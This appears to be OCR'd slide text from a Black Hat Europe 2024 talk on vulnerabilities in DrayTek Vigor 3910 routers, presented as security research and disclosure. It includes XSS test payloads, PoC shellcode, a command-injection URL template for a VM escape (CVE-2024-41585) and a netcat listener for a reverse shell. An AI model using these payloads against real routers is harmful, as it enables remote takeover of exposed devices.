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Stanislav Dashevskyi, Francesco La Spina



1.

EUROPE 2024

blackhat  The researchers
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Stanislav Dashevskyi Francesco La Spina
Vulnerability Research Threat Reports

» Focus on vulnerabilities against managed and » Manual and automatic analysis of malware

unmanaged devices (IT/IoT/IoMT/QT) samples collected via customer telemetry and
» 200+ vulnerabilities discovered in last 5 years other sources
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blackhat |t’s rough around the edges

EUROPE 2024

« Last year we did research on Sierra Wireless Typical Corporate Deployment
gateways and found critical vulnerabilities

 We also looked at firmware of five different
loT/OT edge routers and it did not look good...

DMZ

=

Firewall
Policies

- ...lack of binary hardening, outdated
software components, known
vulnerabilities, “custom” security patches, Edge Router
default credentials...

1111

Edge devices serve the threat actors as

Internet '

perfect entry points into businesses

et.com/searchnetworking/definition/edge-router

You are here
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blackhat |t’s rough around the edges (continued)

EUROPE 2024

* We have chosen a vendor, a seemingly
bullet-proof target with lots of past
research - DrayTek

DMZ

« > 4 years of active patching and frequent
security advisories

=

Firewall
Policies

« With proven interest from threat actors

N Remote unauthenticated root on the host
OS via a trivial buffer overflow in the

LAN

guest...

M And it took us about a month to do It

Internet '

et.com/searchnetworking/definition/edge-router

You are here

Information Classification: General 5
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blackhat \What’s DrayTek?

EUROPE 2024

* A well-known Talwanese manufacturer of networking equipment
and management systems (founded in 1997) Dray Tek
 From simple SOHO routers to complex VPN concentrators used

by businesses

Feature-Rich
Secure

The router provides VPN, firewall, content filtering, load-

The routers run on our Erogrietarx ogerating szstem — the .

DrayQSs, it's a closed system which provides the layer of security

alancing, triple-play, VoIP bandwidth management, and a lot

more. It's an integrated networking solution perfect for a small

that the business network needs. business.

ISP Approved SUCCESS STORY

DrayTek has always been partnered with ISPs throughout the Cross Nation Health Care System in Saudi Arabia

world. We not only provide the hardware but also ensure full Discover how our network solution supported Cross
compatibility. We make sure the routers are making the most Nation Health Care System in establishing stable and
out of the local Internet service. secure connectivity across 76+ branchs.

Information Classification: General 6
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blackhat Why DrayTek? Researchers like it

EUROPE 2024

« 13 security advisories since 2018 (excluding ours) with
over 100 historical CVEs

« Typically, a sign of a mature security team. Yet, new
findings keep popping up

 Emulate it until you make it! Pwning a DrayTek Router
before getting it out of the box — Philippe Laulheret.
HEXACON (2022).

* Detecting persistent threats on DrayTek devices —
Octavio Gianatempo, Gaston Aznarez. DEF CON 32
(2024)

Information Classification: General 7



1.

blackhat Why DrayTek? Threat actors love it

EUROPE 2024

* In 2018, threat actors changed DNS settings on DrayTek
routers using a zero-day vulnerability (CVE-2018-20872)

 CVE-2020-8515 was exploited by Chinese APTs — as
part of the ZUoRAT malware campaign

* In 2022-2023, some end-of-life DrayTek Vigor routers
were targeted by the Chinese malware HiatusRAT

* Around the same time, DrayTek devices were targeted by
another threat actor known as Volt Typhoon.

« Sept. 2024, the FBI announced it had taken down a botnet
exploiting three historical CVEs on DrayTek assets (CVE-
2023-242290, CVE-2020-15415, and CVE-2020-8515)

Information Classification: General 8



blgtgk hat

EUROPE 2024

Over 400K expose
admin interface

(WebUI)

Information Classification: General

Distribution of 704,525 Exposed DrayTek Devices

EU, UK: 425,000+ Australia/N. Zealand: 37,000+ Latin America: 15,000+
Asia: 190,000+ Middle East: 30,000+ North America: 7,200+
I

9
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blackhat Why DrayTek? More about the exposure

EUROPE 2024

The ISP networks with the largest concentrations of DrayTek devices (Censys?*):

ASN AS Name Organization Country Scale Host Count

HINET Data Communication

Business Group ANEY Major ISP

Significant Telecom

ASN-GAMMATELECOM Gamma Telecom U.K. :
Provider

BT-UK-AS BTnet UK

Regional network British Telecommunications U.K. Major ISP

VNPT-AS-VN VNPT Corp Vietnam Posts and Vietnam Major ISP
Telecommunications Group

Significant Telecom
Provider

AS5413 Daisy Communications U.K.

ZEN-AS Zen Internet — UK Zen Internet K. Medium-sized ISP

FPT-AS-AP FPT Telecom

18403 FPT Telecom Vietham Major ISP 12,132
Company

7552 VIETEL-AS-AP Viettel Group Viettel Group Vietnam Major ISP 11,756

1136 KPN KPN National KPN Netherlands Major ISP 9,921

3320 DTAG. Internet service Deutsche Telekom AG Germany Major ISP 7,732
provider operations

* https://community.censys.com/censys-rapid-response-37/censys-rapid-response-exposed-draytek-vigor-routers-cve-2024-41592-189

Information Classification: General 1 O



1.

biackhat  Why did we do it? Well...

EUROPE 2024

* We typically look at devices / software overlooked by
others — better ROI for us

« Several critical RCEs and command injections found
between 2020 and 2023

« Seems like a lot of patching has been already done

3 Can we possibly find any more issues? Would

attackers still be firing at the same target?

Information Classification: General 1 1



1.

blackhat Which device to look at?

EUROPE 2024

 DrayTek offers different kinds of devices: Up to 8 WANS Quad-Core CPU 500 VPN 1000K Sessions
from simple bare-metal routers that run
RTOS, to complex security appliances

e Modern routers are mini-servers* - |lots of
resources, Linux, virtualization support...

|
i ‘ \ J \
© 6 0 6 © 4]

* Rich OS features enable LOTL** techniques, .
and VMs backfire*** if not done right DrayTek Vigor 3910 / 3912

A vulnerability in a complex and popular
device -> largest ROI for threat actors

*  Securing Network Appliances: New Technologies and Old Challenges — Vladyslav Babkin, BHUSA 2024
** People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection — CISA advisory, 2023
*** Debug?: Leveraging a Firmware Modification Attack for Remote Debugging of Siemens S7 PLCs — Eyal Semel et al., BHASIA 2024

Information Classification: General 1 2



1.

blackhat “Simple” routers

EUROPE 2024

« Typically, routers are hardware boxes

Embedded Linux

« They run some kind of embedded Linux distribution,
adding some custom binaries to implement additional

functionality Linux binaries

« Everything runs as root, exploits can be devastating

* New generation of routers started to use virtualization (since

2010, Cisco and Juniper) -->»| Router binaries

Linux protocol
stacks

Information Classification: General 1 3
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blackhat “Complex” routers: Ving/équO /3912

EUROPE 2024

« The hardware box runs Ubuntu Linux 22.04 (aarch64) Ubuntu 22.04

« All DrayTek devices run on a proprietary OS - DrayOS

* On more complex Vigor devices DrayOS runs in a VM, —
while the host OS is Ubuntu 22.04 [L'nux b'narleS]

* Virtualization is supposed to add a layer of security and to

Virtual network

liabilitv (it tart fast aft (Linux protocol ‘(_i_n:[%r_fa_c_e_s
ensure relia ility (it restarts super fast after an error | stacks | :
condition) Virtual serial I

. . . interface (g e ) :
 This looks great, but how is that REALLY implemented? . > b_"ay = !
inaries 1

J I

! QEMU

Information Classification: General 1 4
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blackhat  Qverview of findings

14 vulnerabilities from different types/classes*

The Typical Vulnerability History of a Product

Weak Credentlal Based on our CVE work through the years, covering over 25,000 vulnerabilities, we
en Cryptl on reuse regularly see a product (or product class) follow these phases, as new vulnerabilities are

discovered and resolved:

1) Obvious vulnerability types in critical functionality, such as buffer overflows in
the username or password of a login feature
2) Incomplete fixes for the first vulnerabilities discovered in the product, often
involving a rushed patch for a single input or parameter, while other closely
related vectors remain unprotected
3) Susceptibility to variants of the common vulnerability types, often bypassing a
simple protection scheme that only spots the most common manipulations
[Christey2006b]
_ X | 4) Common types that are restricted to particular environments, rarely-used
Co py paSte functionality, or users with special privileges.
code X | 5) Elimination of the most common vulnerability types, typically involving a
X
X

systematic code analysis and/or refactoring such as input validation frameworks
6) Susceptibility to more novel or rare vulnerability types and attacks, which often
are not easily detectable by common tools or informal manual analysis
7) Unique vulnerability types that usually require expert analysis and extensive
effort to find, possibly requiring a new attack or vulnerability class

Bad input
sanitization

Buffer overflows
(DoS/RCE)

* Unforgivable vulnerabilities — Steve Christey, The MITRE Corporation (2007).

Information Classification: General 1 6



biSaxhat Getting started

EUROPE 2024

Start WebUI g Exploit
* The firmware is available online, but it's encrypted Vigor3910
* We bulilt upon the research** from 2 years* ago to decrypt S IR S AL L)
. Firmware contains bug fixes and new featurs
the fll’mware fOr 3910 the stable version if these new functions are
firmware.

* We could only buy 3912 for our lab, but could not decrypt the B Release Note

firmware (yet) v Checksum
* DrayOS is huge, so we started with WebUI — web-based

ad m I n ,S pa n el < Firmware Version 4.3.2.9 (Stable)

Firmware contains the latest bug fixes.

There is a single set of admin credentials used for the
R auIes: WebUI, telnet over SSH, even the host OS

A Release Mote

~  Checksum

Vigord912 Series | 2024-11-12 |

* Emulate it until you make it! Pwning a DrayTek Router before getting it out of the box — Philippe Laulheret. HEXACON (2022).
** Catalpa’s writeup (2024): https://wzt.ac.cn/2024/02/19/vigor 3910/? x_tr_hist=true

Information Classification: General 1 7



biSekhat WebU|

EUROPE 2024

Start | Exploit

« A standard admin Web-interface used to configure and manage the device
« MUST NOT be exposed to the Internet, but oh well...

* One of the critical issues discovered in the recent past had to do with the login form, so
we decided to have a closer look at WebUI

l)""),{I]EI( Vigor3910 Series
Lo togout + | 186 Dashboard

QO B’ 192.168.1.1/weblogin.htm w

DrayTek

Vigor3910

Language LAN MAC Address 00-1D-AA-92-31-2D

English

IPv4 LAN Information Certificate Status

Information Classification: General 1 8



b|g3=khat- First look at the WebUI: input validation issues

EUROPE 2024 , .
Start WebUI Exploit Root

System Maintenance >> Login Page Greeting 38~ function onClkBtnok() {
39~ if (f.sDesc.value.search(/<.*script.*>/1) 1 || f.sURL.value.search(/<.*script.*>/1) ! )%
Login Page Greeting 40 alert(gettext('tghévoid security risks, Javascript cannot be embedded in the message!'));
v e \a { ;
Login Page Logo: | Default w 41 f.SURL. focus();
42 return;
Browse... Mo file selected. (Max 524 = 352 pixel) Upload 43 }
1 Enable Greeting 44 ~ if (;hectWEbChange{)) {
; 45 .webchange.value = '1';
Login Page Title Router Login 46 } g ’
Welcome Message and Bulletin (Max 511 characters) Preview| Setto Factory Default | 47 f.iloglogo.value = f1.ilLoginLogo.value;
: ’ = . . -
<hls<b=<font color=redsWelcome Message</font></b></hl><p>This welcome message is 48 bg.cpntCtrl(true, f, f.1URLEnable, 2);
displayed in the Login page of the router. Replace this text with your own message. 49 f.‘;ubmit()'
</ pr=ol=<li=The welcome message can be written in HTML so lists such as this one ’ !
can be created =/li=<li=0ther markup tags such as p, Tont or img can be §G }

used=/Lli=</ol>

Examples of Welcome Message and Bulletin:
<hl=<h><font color=red=Welcome Message</font=</b></hl>

<p=Message</p=

img src-"x" onerror-"alert(1l)

oK Cancel

@ D VigorLogin Page X |+

i ) Q  http://192.168.1.1/cgi-bin/wlogin.cgi?aa=YWRtaw4=&ab=YWRtaw4=§&sFormAuthstr=%]27,%20alert(1);%20///

Information Classification: General 1 9



m&dhat Credentials are not safe .

EUROPE 2024 , .
Start WebUI Exploit

The same admin credentials are used across the entire system

They don’t enforce TLS (HTTPS)
When logging into WebUI, credentials are transmitted in cleartext (HTTP)

But if we use TLS (HTTPS), everything is fine, right?

POST /cgi-bin/wlogin.cgi HTTP/1.1

Host: 192.168.1.1
User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 125

Origin: http://192.168.1.1 Username and password are

Connection: keep-alive

Referer: http://192.168.1.1/weblogin.htm base64- and url-encoded

Upgrade-Insecure-Requests: 1

r—------------=-—-=-=- |
|aa:YwEtawd%EEFEEZEHFtQpremFyEEtphmc%EDﬁsslgrﬂup:—lasLang:en&ﬂhjEzaﬂhjdzaﬂhjﬁzaﬂhjﬁ:&ﬂhj?:&sFﬂrmAuthEtr:5DTmhiDTjV5fMﬁx&ﬂhj9:|

Information Classification: General 20



bibakhat Credentials are not safe.(c"ohtinued)

EUROPE 2024

Information

Start WebUI g =qe][e]] Root
TLS is only secure if there is sufficient entropy for generating @
private keys Y
It's notoriously difficult to have proper sources of entropy in Deterministic
embedded systems* Algorithm
PRNG must be seeded with a sufficiently random value, JL
Otherwise, the output of the PRNG may be guessed

TL:DR, says If you can do that, it may be feasible to Pseudo random Bit Stream

recover private keys and break TLS encryption

* Wheel of Fortune. Analyzing Embedded OS Random Number Generators — Ali Abbasi and Jos Wetzels. CCC (2016)

Classification: General 2»]


https://datatracker.ietf.org/doc/html/rfc1750

bifdknat Credentials are not safe (continued)

EUROPE 2024 , .
Start WebUI Exploit Root

* We found that deprecated OpenSSL API is used (both TLS and VPN)

« The PRNG was indeed seeded with a “random” value, but not the one you’d expect...

v6 = RAND seed((unsigned int)"rand string to make rand generator a seed to produce entropy™, 61LL);
ssl ctx = Setup_server ctx(ve);
ssl cli ctx = ((_int64 (*)(void))Setup client ctx)();

vl2 = RAND seed((unsigned int)"rand string to make rand generator a seed to produce entropy™, 61LL);
ssl ctx sslvpn = Setup server ctx(vl2);

int getRandomNumber ()

: return 4: // chosen by fair dice roll.

/l quaranteed to be random.
3

Information Classification: General * https://xkcd.com/221/ 29




b..%khat Buffer overflows... lots of them

EUROPE 2024

Start WebUI| g Exploit Root

WebUI contains around 100 static web-pages

Almost every of them had a buffer overflow

Too many to document, so we had to divide them into clasess

(Semi-) controlled writes into .bss, Denial-of-Service of different kinds, potential RCE

var typemode = GetCGIbyFieldName(var form data, "typemode");
( atoi(var typemode) )
{
var _typemode 2 = GetCGIbyFieldName(var form data, "typemode");
( atoi(var typemode 2) == )

{
0(com9 etriyyct + = -
var_dnsserver = GetCGIbyFieldName(var form data, "dnsserver”);
v44 = *(some struct + LL);

var dnsserver len = safe strlen(var dnsserver);
memcpy(v44, var dnsserver, var dnsserver len);

*(some struct + tr) = safe strien(var dnsserver);
*(*(some struct + LL) + *(some struct + L)) = &qword 425EECF0O;

*(some struct +

Information Classification: General 23



bisakhat Conflict of interests: researchers vs threat actors

EUROPE 2024

Start WebUI g Exploit

« At this point we were still at an early stage of our
research

* Only a bunch of buffer overflows, and still lots of
components and functionality to explore

« “[Stack smashing]is a dying artform, as things move
further away from bare metal into virtualized
environments” ©

 But we are researchers, threat actors don’t limit
themselves to novel vulnerabilities, they want results
and fast

« SO0 our main research question became: “How fast can
mess it all up with what we already have?”

 Enter the CVE-2024-41592

Information Classification: General 2 4



b.g?;khat CVE-2024-41592: stack buffer overflow

EUROPE 2024 , :
Start WebUI Exploit Root

* Most web-pages call a special function that parses the query string parameters

« The destination buffer that contains pointers to parameters is allocated on the stack and
has fixed length

 There are no checks whether the buffer can fit an arbitrary long list of parameters

« The bug can be triggered via requesting almost every page, causing indirect arbitrary
writes into the stack

param

parameters
separator

guery string

separator

https://example.com/path/to/page:

Information Classification: General 25



bifkhat CVE-2024-41592 (continued)

EUROPE 2024

Start WebUI Exploit

_ Low addr. | . | . |
 The query string parameter keysand o

I

I
values are allocated on the heap | - e I Other local

I

I

I

variables

The pointers to keys/values are stored
on the stack

-- Query string

buffer
Pointers and function addresses are
only 4 bytes only (aarch64 in 32-bit
mOdE) --- Other local
variables

- Return address

Higher 4 Lower 4
Information Classification: General 26 b}l"t es b}"t 25



mSdhat Can we exploit it?

EUROPE 2024 :
Start WebUI Exploit

the whole DrayOS, including WebUI
* Runs via a modified QEMU executable
« aarch64 (but runs in 32-bit mode)

* The main binary is called “sohod64.bin” — this is literally evimnnﬁu‘ o

SHERIF:

 No DEP (executable heap and stack)
* No stack canaries
 No PIE, No ASLR

M A completely “flat” binary that has everything we

need and no binary hardening whatsoever

-

CYBERSECURITY/

Information Classification: General 27



m&dhat Some challenges

EUROPE 2024

Start WebUI Exploit
« We stumbled upon unexpected challenges: o i, | T T
» (1) almost every web page requires auth token; ST T
* (2) the FreeCtrIName() function T T

I

(i=6; *(v1 + 8 * i); ++i ) ... 1| exeeeoesee
___________ I. —_—— e e e - — —
result = kfree(*(vl + 8 * i), u); ... 1| @xeeeeeees
*{vl + * i) S e P
High addr. | exeepeeEe8] | AxPEREAREE
___________ L ooomomemem
result;
I | | I
I I
Higher 4 Lower 4
bytes bytes

Information Classification: General 28

- Other local

variables

- Query string

buffer

- Other local

variables

- Return address



it nat  SOme challenges (continued)

EUROPE 2024

Start WebUI| g Exploit

* FreeCtrIName() is a chain free, it stops when it Low addr. | N N

|

encounters a NULL | e e I
________________________ | --- Other local

|

|

|

 After looking long and hard (a couple of hours)... I variables
- We found a web page that: R
i i | ptr val 1 | exbeeeesse | |
* (a) did not require the auth token to processthe |
- | - | exbeceasee | | --- Query string
query Strlng ________________________ I buffer
] ] | ptr val n | exeeeeeees | |
* (b) had alocal variable just below the return T A— | |
. e . gxooaoea
address initialized to zero 7 uppapapagty |
| - 1| exeeeeeaes || | --- Other local
————————————————— - 4 | variables
. e | @xAFD7xxxx | |
A local variable
initialized to zero High addr. | 8xPPE0EEERE | BxAFDExxxx | --- Return address
| | | |
| |
Higher 4 Lower 4
bytes bytes

Information Classification: General 29



EUROPE 2024 ) :
Start WebUI Exploit

GET /cqgi-bin/[vulnerable].cgi?[&&&... &&&] [SHELLCODE][MSG] HTTP/1.1 [...]

91: adr x0, #24 Address of [MSG]

02: movz x19, #Oxbeef ;
03: movk x19, #0xdead, 1sl #16 Address of “printf()”
04: movz x30, #Oxfood

05: movk x30, #Oxbaad, lsl #16

06: br x19 Ca" uprintf()u

HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET!
HACK THE PLANET! ¢
HACK THE PLANET! s
HACK THE PLANET!
HACK THE PLANET!

HACK THE PLANET! \ " L
HACK THE PLANET!
HACK THE PLANET! \

HACK THE PLANET!
HACK THE PLANET! —

\d 3
HACK THE PLANET! “Iiﬁ bllt a 5 cr at d)!”

Information Classification: General HACK THE P 30

Next return address




bitekhat Let’s do something useful '

EUROPE 2024

Start WebUI| g Exploit

 Remember, we are still in the VM, so we can't pop a Ubuntu 22.04
root shell

« We can still do something useful, it's a “flat” binary

- DNS hijacking, altering settings, defacement, takeover [L'”“X b'”a”es]
, C : o Virtual network
« Let's use very similar shellcode, but instead of printing a T ) interfaces
: : INUX Protoco
message, we change a certain string... Stgcks <--------
Virtual serial
interface ( DrayTek )
o TTT°° > . .
] binaries

We are still here

QEMU

DrayOS$S ]4 ------- !

Information Classification: General 3 1



Activities *» Firefox Web Browser dec4 10:36

@ | D vigorLogin Page x|+ y vy
<« C O & 192.168.1.1/weblogin.htm 170% 17 @ 9 =
Username
Password
Language

Vigor3910 English

Copyright © 2024 DrayTek Corp



bibekhat But the title said “remote shells”!

EUROPE 2024 v _
Start WebUI Exploit Root

 Past research* mentioned a function that calls OS Ubuntu 22.04
commands, but no detalls

« We found a binary on the host OS that “listens” to requests
from the guest Q

* The guest sends a “reboot” request when it needs to be Virtual network
rebooted, or “set_linux_time” for setting the time, etc... Linux protocol (_'_”_t‘frf?‘{e_s
stacks
 The commands are whitelisted, so game over, attackers Virtual serial ’
interface ( DrayTek h
"eboot fw upload gci exp quit set linux time setportspeed update ps mo T binaries
S

machJ& soho etddmlnpd_s f2 set board info halt usbcmd uffssave cfg_restore

v debug cfgexp setlinuxip set 11nu; timezone2 set lan_ wired8e21x

! QEMU

* Emulate it until you make it! Pwning a DrayTek Router before getting it out of the box — Philippe Laulheret, HEXACON 2022.

Information Classification: General 33



biSaxhat Meet CVE-2024-41585 |

EUROPE 2024 | _ FE
Start WebUI Exploit Root

__int64 _ fastcall run_command char *arg cmd_script
{

int v2;

size_t v3;

char *var cmd;

_BOOL4 vi0;

v2 strlen(arg cmd script);

v3 = strlen(aVarLogDrayoslo);

var cmd = (char *)malloc(v3 + v2 + 32);

*(_QWORD *)var cmd = OLL;

sprintf(var_cmd, “/etc/runcommand/%s >> %s 2>&1", arg _cmd_script, aVarlLogDrayoslLo);
var_cmd_3 = var_cmd_2;

{
¥

( vie );
system(var _cmd);
tree(var_cmd);

OLL;

VRV o O RG RV I | +-:----> Dray0S («----:--

[proto]://[ip]/cgi-bin/[vulnerable-cgi-page].cgi?
&&&&....&&&&[shellcode]%20set_linux_time%20%3B[ARBITRARY_OS COMMAND]%3B

Information Classification: General 3 4



(venv) standash@thelab42-2:~/stuff/vr/draytek/exploits$

standash@thelab42-2:~/stuff/vr/draytek/exploits$ nc -1 192.168.42.1 1234}

[0] O:bash* "thelab42-2" 11:53 04-dec-24
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blackhat A few notes on patches |

EUROPE 2024

 Itis uncertain if the “VM escape” issue was already found
by Philippe or is a different issue

« We had not bandwidth to document all the buffer
overflows, so we reported several classes of them

* Vendor came back quickly with the patches, but we are
uncertain whether the fixes apply only to those
reported examples

2024-41583 ~ CVE-2024-41596)

. . . . ¥ : ;‘u -
 Another advisory with similar buffer overflows BUFFER OVERFLIOWS EVERYWHERE
published on the same day, could be a coincidence... C— 2 ' "

e T |

Advisory Affected Products I Release Date |
' |

BEuffer Overflow Vulnerability Routers : 2024-10-04 :
, |

Cross-5ite Scripting, Denial of Service and Remote Code execution vulnerabilities (CVE- ' !
Routers I 2024-10-04

: |

. |

Information Classification: General 37



blSek hat A few notes on patches (‘”ébntinued)

EUROPE 2024
« OS command injection (CVE-2020-8515): const char *v6; // r7

int result; // r@
actively exploited by threat actors, patched o e T e
several years ago, only affects EoS models if ( 0 )

{
On 215t of October 2024 a researcher* 1

publishes 22 (!) variants of the same bug e

Value =

\,-.'_J,. —

 The root cause is very similar to the “VM
escape” bug we just presented

¥v3 == B8;

v3 )

= Value == @;
'

1ys && w4 )

! LA
&
= |l tn .~~~ I Il

Looks like no one performed variant

analysis

<, 8, 8x186u);

(s, Bx108u, - ' ' ~ '. Value, vB):
vl = S F
it ( vé )
{

(vB, 8, sizeof(vB)):
(v8. Bx186u, 1 renam : : o5 ', Value, w3, vG):
result = (v8);
if [ result )
return result;

*https://github.com/fu37kola/cve/blob/main/DrayTek/Vigor3900/1.5.1.3/DrayTek_
Vigor_3900_1.5.1.3.pdf

Information Classification: General




1.

EUROPE 2024

blackhat Recommendations to asset owners

e Take any kind of administrative tools off the Internet,
Install updates often

« If you own a business that relies on these devices, perform
Independent security assessments

M Don’t rely on the number of historical CVEs to

understand the vendor’s security posture

 |nstead, use security advisories to your advantage:

1. Check if the same issues keep popping up over the years

2. No vulns and advisories — this Is even more suspicious

*https://www.flickr.com/photos/fastjack/282707058
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O

EUROPE 2024

blackhat Recommendations to vendors

 When you read about threat actors targeting your
devices, make some positive changes to their
security

e Firmware encryption does not prevent scrutiny
(a.k.a “security by obscurity”)

« Use static analysis tools / audit the code / hire pen-
testers

* Don't patch only the issues reported by the researchers,
do variant analysis

« Binary hardening is not a silver bullet, yet, why not use
it?

If software starts to resemble Swiss cheese —

consider a complete redesign/reimplementation
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Tha&k youI

Any qu%stl

stanislav.dashevskyi@forescout.com
francesco.laspina@forescout.com
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